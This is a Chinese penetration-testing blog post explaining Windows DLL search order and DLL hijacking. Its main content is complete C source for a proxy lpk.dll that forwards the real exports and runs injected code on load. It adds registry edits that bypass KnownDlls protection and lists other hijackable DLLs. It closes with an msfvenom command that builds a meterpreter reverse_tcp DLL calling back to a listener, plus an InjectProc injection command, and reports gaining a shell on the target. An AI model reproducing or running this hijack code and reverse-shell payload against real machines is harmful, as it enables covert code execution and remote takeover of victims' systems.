.net 多个dll 封装成一个dll_知识科普——DLL劫持注入

f398686adff7bdf3eabbe5c23a750bcd.gif

0x01 什么是DLL

这里看一下百度百科的解释:

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

还有一段,我觉得更好理解的。

DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。

0x02 动态链接库加载顺序

一、Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序:

  1. 进程对应的应用程序所在目录;

  2. 当前目录(Current Directory);

  3. 系统目录(通过 GetSystemDirectory 获取);

  4. 16位系统目录;

  5. Windows目录(通过 GetWindowsDirectory 获取);

  6. PATH环境变量中的各个目录;

例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

二、在Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);

  2. 系统目录(即%windir%system32);

  3. 16位系统目录(即%windir%system);

  4. Windows目录(即%windir%);

  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);

  6. PATH环境变量中的各个目录;

0x03 什么是DLL劫持

根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,如果为0,搜索顺序为:应用程序所在目录->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。

0x04 DLL劫持的实现

这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:

1、构造一个与系统目录下LPK.DLL一样的导出表;

2、加载系统目录下的LPK.DLL;

3、将导出函数转发到系统目录下的LPK.DLL上;

4、在初始化函数中加入我们要执行的代码。

//// LPK.DLL劫持注入源码//// 头文件#include "stdafx.h"#include #include // 导出函数#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")// 宏定义#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdecl//LpkEditControl导出的是数组,不是单一的函数(by Backer)EXTERNC void __cdecl AheadLib_LpkEditControl(void);EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };  //添加全局变量// AheadLib 命名空间namespace AheadLib{  HMODULE m_hModule = NULL;  // 原始模块句柄  // 加载原始模块  inline BOOL WINAPI Load(){    TCHAR tzPath[MAX_PATH];    TCHAR tzTemp[MAX_PATH * 2];    GetSystemDirectory(tzPath, MAX_PATH);    lstrcat(tzPath, TEXT("\\lpk.dll"));    m_hModule = LoadLibrary(tzPath);    if (m_hModule == NULL)    {      wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);      MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);    };    //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);    return (m_hModule != NULL);  }  // 释放原始模块  inline VOID WINAPI Free(){    if (m_hModule)    {      FreeLibrary(m_hModule);    }  }  // 获取原始函数地址  FARPROC WINAPI GetAddress(PCSTR pszProcName){    FARPROC fpAddress;    CHAR szProcName[16];    TCHAR tzTemp[MAX_PATH];    fpAddress = GetProcAddress(m_hModule, pszProcName);    if (fpAddress == NULL)    {      if (HIWORD(pszProcName) == 0)      {        wsprintfA(szProcName, "%d", pszProcName);        pszProcName = szProcName;      }      wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);      MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);      ExitProcess(-2);    }    return fpAddress;  }}using namespace AheadLib;  //函数声明void WINAPIV InitInject(LPVOID pParam);//自己添加功能的函数void WINAPIV InitInject(LPVOID pParam){  //在这里可以添加自己的DLL  //LoadLibrary(TEXT(".\\MyDll.dll"));  MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);  return;}// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){  if (dwReason == DLL_PROCESS_ATTACH)  {    DisableThreadLibraryCalls(hModule);    if (Load())    {      //LpkEditControl这个数组有14个成员,必须将其复制过来          memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);      _beginthread(InitInject, NULL, NULL);//创建新线程实现自己的功能    }    else {      //  MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);      return FALSE;    }  }  else if (dwReason == DLL_PROCESS_DETACH)  {    Free();  }  return TRUE;}// 导出函数ALCDECL AheadLib_LpkInitialize(void){  GetAddress("LpkInitialize");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkTabbedTextOut(void){  GetAddress("LpkTabbedTextOut");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkDllInitialize(void){  GetAddress("LpkDllInitialize");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkDrawTextEx(void){  GetAddress("LpkDrawTextEx");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkEditControl(void){  GetAddress("LpkEditControl");  __asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针}// 导出函数ALCDECL AheadLib_LpkExtTextOut(void){  GetAddress("LpkExtTextOut");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkGetCharacterPlacement(void){  GetAddress("LpkGetCharacterPlacement");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkGetTextExtentExPoint(void){  GetAddress("LpkGetTextExtentExPoint");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkPSMTextOut(void){  GetAddress("LpkPSMTextOut");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_LpkUseGDIWidthCache(void){  GetAddress("LpkUseGDIWidthCache");  __asm JMP EAX;}// 导出函数ALCDECL AheadLib_ftsWordBreak(void){  GetAddress("ftsWordBreak");  __asm JMP EAX;}

0x05 实现效果

把伪造的LPK.DLL放在程序同目录下(这样会首先加载我们伪造的DLL)

注:可能需要修改注册表,使得程序从执行文件所在目录加载DLL(修改完可能需要重启)

有些高版本系统和程序已经不能劫持lpk.dll了,这里我用了"黑客反病毒论坛"的FileCleaner2.0.exe程序测试成功!

其他可劫持的dll为:

lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等

XP:

把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk项删除掉,重启电脑。

WIN7:

在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一个键值ExcludeFromKnownDlls(多字符串类型),把lpk.dll加进去。如果需要其他DLL请自行加入。

如图:

5c047ae84e648020474a7d5dbbc004ed.png

查看我们伪造的LPK.DLL导出表,与系统原来的一样

16022e8f98aa29994639dbbc3f04d296.png

运行程序后先加载了我们伪造的LPK.DLL,程序被劫持

4064c98de6131418c2b09b22fda09fc3.png

从模块列表中也可以看到,既加载了我们伪造的LPK.DLL,也加载了系统的lpk.dll

e62d6d710b8a49d4b1d86824ace194ef.png

0x06 DLL劫持的应用

首先使用msfvenom生成dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll

7ac5b5261cfc91f17710aaceb4072116.png

打开msf,并开启监听:

6ef3866d01428b155f5f1add234f63ff.png

将生成的dll文件,丢到目标机器中,打开笔记本,也就是notepad.exe程序,输入以下命令:

InjectProc.exe dll_inj joker.dll notepad.exe

5d016276065b6083561fe8f0c02f727c.png

发现kali已经得到了目标shell

095f880d57a7211f303640a124778711.png

如果您觉得文章对您有帮助,点下关注不迷路,日常分享渗透测试骚姿势,我们的成长离不开您的陪伴。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值